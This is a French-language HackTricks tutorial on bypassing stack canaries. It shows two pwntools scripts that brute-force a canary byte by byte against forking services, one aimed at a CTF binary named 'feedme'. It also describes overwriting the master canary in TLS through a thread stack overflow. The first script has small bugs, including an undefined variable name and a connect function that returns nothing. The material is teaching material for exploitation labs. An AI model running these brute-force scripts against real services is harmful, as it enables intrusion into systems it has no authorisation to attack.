BF Forked & Threaded Stack Canaries

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Si vous êtes confronté à un binaire protégé par un canary et un PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.

note

Notez que checksec pourrait ne pas détecter qu'un binaire est protégé par un canary si celui-ci a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.

Brute force Canary

Le meilleur moyen de contourner un canary simple est si le binaire est un programme créant des processus enfants chaque fois que vous établissez une nouvelle connexion avec lui (service réseau), car chaque fois que vous vous y connectez, le même canary sera utilisé.

Ensuite, le meilleur moyen de contourner le canary est simplement de le brute-forcer caractère par caractère, et vous pouvez déterminer si le byte de canary deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction brute-force un canary de 8 octets (x64) et distingue entre un byte deviné correctement et un mauvais byte juste en vérifiant si une réponse est renvoyée par le serveur (une autre méthode dans d'autres situations pourrait être d'utiliser un try/except):

Exemple 1

Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Exemple 2

Ceci est implémenté pour 32 bits, mais cela pourrait être facilement changé en 64 bits.
Notez également que pour cet exemple, le programme attend d'abord un octet pour indiquer la taille de l'entrée et le payload.

python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Threads

Les threads du même processus partageront le même jeton canary, il sera donc possible de brute-forcer un canary si le binaire crée un nouveau thread chaque fois qu'une attaque se produit.

De plus, un débordement de tampon dans une fonction threadée protégée par un canary pourrait être utilisé pour modifier le canary maître stocké dans le TLS. Cela est dû au fait qu'il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canary) via un bof dans la pile d'un thread.
En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).
Cette attaque est décrite dans le writeup : http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Vérifiez également la présentation de https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 qui mentionne que généralement le TLS est stocké par mmap et lorsqu'une pile de thread est créée, elle est également générée par mmap, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.

Other examples & references